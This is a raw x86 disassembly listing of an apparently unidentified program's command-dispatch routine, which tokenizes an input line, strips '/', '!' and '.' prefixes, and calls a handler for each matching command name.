call fcn.00499164
jmp 0x488507
cmp dword [esi + 0x30], 0
jne 0x488441
cmp dword [ebp - 0x80], 0
je 0x48b138
mov ecx, dword [ebp - 0x80]
push ecx
call fcn.0040c454
pop ecx
jmp 0x48b138
push 0
push 0
push 1
push 0
mov eax, dword [ebp + 0x34]
push eax
push 0
mov edx, dword [ebp + 0x2c]
push edx
push esi
mov ecx, dword [ebp + 0x24]
push ecx
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp + 0x18]
inc ecx
push ecx
mov eax, dword [edi]
push eax
mov edx, dword [ebp - 0x80]
push edx
mov ecx, dword [esi + 0x30]
push ecx
mov eax, dword [ebp + 8]
push eax
call fcn.004865c8
mov dword [ebp - 0x40], eax
jmp 0x488507
push 0
push 0
mov edx, dword [ebp - 0x5c]
push edx
push 0
call fcn.00498c08
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4884c3
cmp dword [ebp - 0x80], 0
je 0x4884a9
mov ecx, dword [ebp - 0x80]
push ecx
call fcn.0040c454
pop ecx
push 2
push 0x4f8b9f
push 0
push 0
call fcn.0045bf34
xor eax, eax
mov dword [ebp - 0x40], eax
jmp 0x48b1f3
push 0
push 0
push 1
push 0
mov edx, dword [ebp + 0x34]
push edx
push 0
mov ecx, dword [ebp + 0x2c]
push ecx
push esi
mov eax, dword [ebp + 0x24]
push eax
mov edx, dword [ebp + 0x20]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp + 0x18]
inc eax
push eax
mov edx, dword [edi]
push edx
mov ecx, dword [ebp - 0x80]
push ecx
mov eax, dword [ebp - 4]
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.004865c8
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.00499164
cmp dword [ebp - 0x80], 0
je 0x488517
mov eax, dword [ebp - 0x80]
push eax
call fcn.0040c454
pop ecx
cmp dword [ebp - 0x40], 0
je 0x48b1f3
cmp dword [ebp - 0x40], 2
je 0x48b1f3
cmp dword [ebp - 0x40], 3
jne 0x48b138
mov dword [ebp - 0x40], 1
mov edx, dword [ebp + 0x24]
cmp byte [edx], 0
je 0x48b138
cmp dword [ebp - 0x6c], 0
je 0x488558
mov ecx, dword [ebp - 0x6c]
push ecx
call fcn.0040c454
pop ecx
mov eax, dword [ebp + 0x24]
push eax
call fcn.00401318
pop ecx
add eax, 0xa
push eax
call fcn.0040c55c
pop ecx
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0
jne 0x48858f
push 2
push 0x4f8ba6
push 0
push 0
call fcn.0045bf34
xor edx, edx
mov dword [ebp - 0x40], edx
jmp 0x48b1f3
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ebp + 0x24]
push edi
mov esi, ecx
mov edi, eax
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
xchg edi, esi
mov eax, edi
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
jmp 0x48b138
cmp dword [ebp - 0x4c], 0
je 0x488633
cmp dword [ebp - 0x68], 0
je 0x4885d3
mov eax, dword [ebp - 0x68]
push eax
call fcn.0040c454
pop ecx
mov edx, dword [ebp + 0x24]
push edx
call fcn.00401318
pop ecx
add eax, 0xa
push eax
call fcn.0040c55c
pop ecx
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0
jne 0x48860a
push 2
push 0x4f8bae
push 0
push 0
call fcn.0045bf34
xor ecx, ecx
mov dword [ebp - 0x40], ecx
jmp 0x48b1f3
mov eax, dword [ebp - 0x68]
mov edx, dword [ebp + 0x24]
push edi
mov esi, eax
mov edi, edx
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
xchg edi, esi
mov eax, edi
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
push 0x20
mov eax, dword [ebp + 0x24]
push eax
call fcn.004b6bc4
add eax, 5
mov dword [edi], eax
cmp dword [ebp - 0x70], 0
je 0x488653
mov edx, dword [ebp - 0x70]
push edx
call fcn.0040c454
pop ecx
mov ecx, dword [edi]
shl ecx, 2
push ecx
call fcn.0040c55c
pop ecx
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0
jne 0x488682
push 2
push 0x4f8bb9
push 0
push 0
call fcn.0045bf34
xor eax, eax
mov dword [ebp - 0x40], eax
jmp 0x48b1f3
mov edx, dword [ebp + 0x24]
cmp byte [edx], 0x73
je 0x488692
mov ecx, dword [ebp + 0x24]
cmp byte [ecx], 0x53
jne 0x4886b9
push 4
push 0x4f8bbf
mov eax, dword [ebp + 0x24]
push eax
call fcn.00401540
add esp, 0xc
test eax, eax
jne 0x4886b2
mov dword [ebp - 0x38], 1
jmp 0x4886be
xor edx, edx
mov dword [ebp - 0x38], edx
jmp 0x4886be
xor ecx, ecx
mov dword [ebp - 0x38], ecx
xor esi, esi
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x60], eax
mov ebx, eax
jmp 0x488716
push 0x20
mov eax, dword [ebp - 0x60]
push eax
call fcn.00401278
add esp, 8
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0
jne 0x4886ea
mov edx, dword [ebp - 0x70]
mov dword [edx + esi*4], ebx
inc esi
jmp 0x48871b
mov ecx, dword [ebp - 0x5c]
mov byte [ecx], 0
mov eax, dword [ebp - 0x70]
mov dword [eax + esi*4], ebx
inc esi
mov edx, dword [ebp - 0x5c]
inc edx
mov dword [ebp - 0x60], edx
mov ebx, edx
jmp 0x488705
inc dword [ebp - 0x60]
mov eax, dword [ebp - 0x60]
cmp byte [eax], 0x20
je 0x488702
cmp dword [ebp - 0x38], 0
jne 0x488716
mov ebx, dword [ebp - 0x60]
cmp byte [ebx], 0
jne 0x4886ca
cmp esi, dword [edi]
jge 0x48872c
mov eax, dword [ebp - 0x70]
xor edx, edx
mov dword [eax + esi*4], edx
inc esi
cmp esi, dword [edi]
jl 0x48871f
mov ecx, dword [ebp - 0x70]
cmp dword [ecx], 0
je 0x48b138
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
cmp byte [edx], 0x2f
jne 0x488756
mov ecx, dword [ebp - 0x70]
inc dword [ecx]
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
cmp byte [edx], 0x2f
jne 0x488756
mov ecx, dword [ebp - 0x70]
inc dword [ecx]
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
cmp byte [edx], 0x21
jne 0x48876c
mov ecx, dword [ebp - 0x70]
inc dword [ecx]
mov dword [ebp - 0x50], 1
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
cmp byte [edx], 0x2e
jne 0x488780
mov ecx, dword [ebp - 0x70]
inc dword [ecx]
xor eax, eax
mov dword [ebp + 0x2c], eax
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
cmp byte [ecx], 0
je 0x48b138
cmp dword [ebp - 0x4c], 0
je 0x4887c7
lea eax, [ebp - 0x4c]
push eax
lea edx, [ebp - 0x3c]
push edx
lea ecx, [ebp - 0x44]
push ecx
mov eax, dword [ebp - 0x68]
push eax
mov edx, dword [ebp + 0x20]
push edx
mov ecx, dword [ebp + 0x24]
push ecx
mov eax, dword [ebp - 0x78]
push eax
mov edx, dword [ebp - 0x70]
push edx
call fcn.0043c128
test eax, eax
jne 0x4887c7
xor ecx, ecx
mov dword [ebp - 0x40], ecx
jmp 0x48b1f3
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.00408b88
pop ecx
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
xor edx, edx
mov dl, byte [eax]
push edx
call fcn.00408bd0
pop ecx
add eax, 0xffffff9f
cmp eax, 0x16
ja case.0x4887ef.107
jmp dword [eax*4 + 0x4887f6]
push 0x4f8bc5
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48888e
mov edx, dword [ebp + 0x2c]
push edx
mov ecx, dword [ebp - 0x48]
push ecx
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
mov eax, dword [ebp + 8]
push eax
call fcn.0043b638
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8bcd
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x4888ba
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 0x70]
push edx
call fcn.004433b0
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8bd4
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x4888ea
mov edx, dword [ebp + 0x2c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
mov eax, dword [ebp + 8]
push eax
call fcn.0042eedc
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8bde
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x488922
mov eax, dword [ebp + 0x2c]
push eax
mov edx, dword [ebp + 0x14]
push edx
mov ecx, dword [ebp + 0x20]
push ecx
mov eax, dword [ebp - 0x70]
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.0042ef78
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8be5
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x488954
push 0
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
mov eax, dword [ebp + 8]
push eax
call fcn.00438818
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8bec
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x488996
push 1
mov eax, dword [ebp + 0x2c]
push eax
mov edx, dword [ebp - 0x48]
push edx
mov ecx, dword [ebp + 0x20]
push ecx
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp + 0x24]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
mov eax, dword [ebp + 8]
push eax
call fcn.0042f408
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8bf1
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x4889d8
push 0
mov eax, dword [ebp + 0x2c]
push eax
mov edx, dword [ebp - 0x48]
push edx
mov ecx, dword [ebp + 0x20]
push ecx
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp + 0x24]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
mov eax, dword [ebp + 8]
push eax
call fcn.0042f408
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8bf7
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x488a16
push 0
mov eax, dword [ebp + 0x2c]
push eax
mov edx, dword [ebp - 0x48]
push edx
mov ecx, dword [ebp + 0x20]
push ecx
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 0x70]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.0042f72c
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8bfe
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne case.0x4887ef.107
mov ecx, dword [ebp + 0x2c]
push ecx
mov eax, dword [ebp - 0x48]
push eax
mov edx, dword [ebp + 0x20]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp - 0x70]
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.0042f9a4
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8c04
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x488a7e
mov edx, dword [ebp - 0x70]
push edx
call fcn.00430850
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8c0a
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x488ab2
mov edx, dword [ebp + 0x20]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp - 0x70]
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.0042fca0
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8c16
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x488aea
mov edx, dword [ebp - 0x48]
push edx
mov ecx, dword [ebp + 0x20]
push ecx
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 0x70]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.004304bc
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8c1b
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x488b18
push 1
mov ecx, dword [ebp + 0x20]
push ecx
mov eax, dword [ebp - 0x70]
push eax
call fcn.0041dd20
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8c22
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x488b48
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
call fcn.0041d648
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8c29
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x488b74
mov ecx, dword [ebp + 0x20]
push ecx
mov eax, dword [ebp - 0x70]
push eax
call fcn.0041e7c4
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8c33
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x488d7c
push 0x4f8c3a
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x488bb2
mov dword [0x5130a4], 1
jmp 0x488bba
xor ecx, ecx
mov dword [0x5130a4], ecx
mov esi, dword [ebp - 0x28]
test esi, esi
je 0x488bcf
mov dword [esi + 0x1c], 1
mov esi, dword [esi + 0x30]
test esi, esi
jne 0x488bc1
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x48b08f
mov esi, dword [ebp - 0x28]
test esi, esi
je 0x488d5f
cmp dword [esi + 0x1c], 0
je 0x488d54
mov eax, dword [esi + 0x28]
cmp eax, dword [ebp - 4]
jne 0x488d3f
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0xc]
jne 0x488c19
cmp dword [ebp - 0x14], 0
je 0x488c19
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx + 0x30]
mov dword [ebp - 4], eax
jmp 0x488c71
mov edx, dword [ebp - 0x10]
push edx
call fcn.00499164
xor ecx, ecx
mov dword [ebp - 0x10], ecx
xor eax, eax
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 4]
mov dword [ebp - 0xc], edx
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx + 0x20]
push eax
push edi
mov edx, dword [ebp + 0x24]
push edx
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx]
push eax
call fcn.004b7478
mov dword [ebp - 0x10], eax
cmp dword [edi], 0
jne 0x488c5b
xor edx, edx
mov dword [ebp - 0x40], edx
jmp 0x48b1f3
cmp dword [ebp - 0x10], 0
je 0x488d10
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x488d06
mov edx, dword [ebp - 4]
mov ecx, dword [edx + 0x20]
cmp ecx, dword [esi + 0x20]
jne 0x488cf3
push 0x4f8c44
mov eax, dword [ebp - 4]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x488cf3
mov ecx, dword [ebp - 4]
mov eax, dword [ecx + 0x30]
mov dword [ebp - 0x14], eax
cmp dword [0x5130a4], 0
je 0x488ce4
mov edx, dword [esi + 0x2c]
mov dword [ebp - 0xc], edx
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.00499164
xor eax, eax
mov dword [ebp - 0x10], eax
xor edx, edx
mov dword [ebp - 0x14], edx
push esi
mov ecx, dword [ebp - 0x28]
push ecx
call fcn.004990f0
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [eax + 8], 1
jmp 0x486847
cmp dword [ebp - 0x14], 0
jne 0x486847
jmp 0x48b138
mov edx, dword [ebp - 4]
mov ecx, dword [edx + 0x30]
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0
jne 0x488c7b
xor eax, eax
mov dword [ebp - 0x40], eax
jmp 0x48b1f3
cmp dword [0x5130a4], 0
je 0x48b138
mov edx, dword [esi + 0x2c]
mov dword [ebp - 0xc], edx
push esi
mov ecx, dword [ebp - 0x28]
push ecx
call fcn.004990f0
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [eax + 8], 2
jmp 0x486847
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0xc]
je 0x488d54
mov ecx, dword [esi + 0x2c]
cmp ecx, dword [ebp - 4]
jne 0x488d54
xor eax, eax
mov dword [esi + 0x1c], eax
mov esi, dword [esi + 0x30]
test esi, esi
jne 0x488bea
mov edx, dword [ebp - 4]
mov ecx, dword [edx + 0x30]
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0
jne 0x488bdf
jmp 0x48b08f
push 0x4f8c47
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x488daa
push 0
mov ecx, dword [ebp + 0x20]
push ecx
mov eax, dword [ebp - 0x70]
push eax
call fcn.0041dd20
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8c4d
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x488dd6
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp - 0x70]
push edx
call fcn.0041e754
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8c55
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne case.0x4887ef.107
mov edx, dword [ebp + 0x38]
push edx
mov ecx, dword [ebp + 0x20]
push ecx
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 0x70]
push edx
call fcn.0041d9d0
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8c5d
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x488e3a
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.0043091c
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8c66
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x488e6e
mov ecx, dword [ebp - 0x48]
push ecx
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp - 0x70]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.00430a48
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8c6d
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x488ea0
mov ecx, dword [ebp - 0x48]
push ecx
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp - 0x70]
push edx
push 0
call fcn.00430a48
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8c77
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x488ed2
push 5
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
mov eax, dword [ebp + 8]
push eax
call fcn.00438818
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8c7e
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x488efe
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp - 0x70]
push edx
call fcn.00430de4
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8c89
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x488f26
mov edx, dword [ebp - 0x70]
push edx
call fcn.00430e3c
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8c90
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x488f4e
mov edx, dword [ebp - 0x70]
push edx
call fcn.00431504
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8c9a
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x488f7a
mov edx, dword [ebp + 0x20]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
call fcn.00431560
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8ca2
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
je 0x488b8f
push 0x4f8cac
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x488fcd
mov edx, dword [ebp + 0x2c]
push edx
mov ecx, dword [ebp + 0x20]
push ecx
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 0x70]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.004319a4
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8cb2
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x489001
mov ecx, dword [ebp + 0x2c]
push ecx
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 0x70]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.00431f6c
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8cb8
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48903d
mov ecx, dword [ebp + 0x2c]
push ecx
mov eax, dword [ebp - 0x48]
push eax
mov edx, dword [ebp + 0x20]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp - 0x70]
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.00432084
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8cbe
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x489079
mov edx, dword [ebp + 0x2c]
push edx
mov ecx, dword [ebp - 0x48]
push ecx
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
mov eax, dword [ebp + 8]
push eax
call fcn.0043222c
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8cc9
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne case.0x4887ef.107
mov eax, dword [ebp + 0x2c]
push eax
mov edx, dword [ebp - 0x70]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.0043230c
mov dword [ebp - 0x40], eax
jmp 0x48b08f
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
xor ecx, ecx
mov cl, byte [edx + 1]
push ecx
call fcn.00408bd0
pop ecx
sub eax, 0x72
jne 0x489283
push 4
push 0x4f8cd0
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.00401540
add esp, 0xc
test eax, eax
jne case.0x4887ef.107
push 0x4f8cd6
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
add eax, 4
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x489111
push 1
mov edx, dword [ebp - 0x70]
push edx
call fcn.004567fc
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8cdb
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
add eax, 4
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48913e
push 2
mov edx, dword [ebp - 0x70]
push edx
call fcn.004567fc
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8ce1
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
add eax, 4
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48916b
push 3
mov edx, dword [ebp - 0x70]
push edx
call fcn.004567fc
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8ce7
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
add eax, 4
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x489198
push 4
mov edx, dword [ebp - 0x70]
push edx
call fcn.004567fc
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8ced
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
add eax, 4
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x4891cb
mov edx, dword [ebp + 0x20]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp - 0x70]
push eax
call fcn.0045795c
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8cf3
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
add ecx, 4
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x4891f6
mov eax, dword [ebp - 0x70]
push eax
call fcn.00458174
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8cfb
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
add ecx, 4
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x489221
mov eax, dword [ebp - 0x70]
push eax
call fcn.00458574
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8d01
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
add ecx, 4
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x489250
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 0x70]
push edx
call fcn.004592e4
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8d06
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
add eax, 4
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne case.0x4887ef.107
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
call fcn.00459d10
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8d0c
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x4892bf
mov ecx, dword [ebp + 0x2c]
push ecx
mov eax, dword [ebp - 0x48]
push eax
mov edx, dword [ebp + 0x20]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp - 0x70]
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.00432398
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8d11
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x4892f3
mov edx, dword [ebp + 0x2c]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp - 0x70]
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.004333e8
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8d1c
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48931f
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
call fcn.00432794
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8d21
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x489353
mov ecx, dword [ebp + 0x2c]
push ecx
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 0x70]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.0043292c
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8d2c
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48937b
mov ecx, dword [ebp - 0x70]
push ecx
call fcn.00432a98
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8d33
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
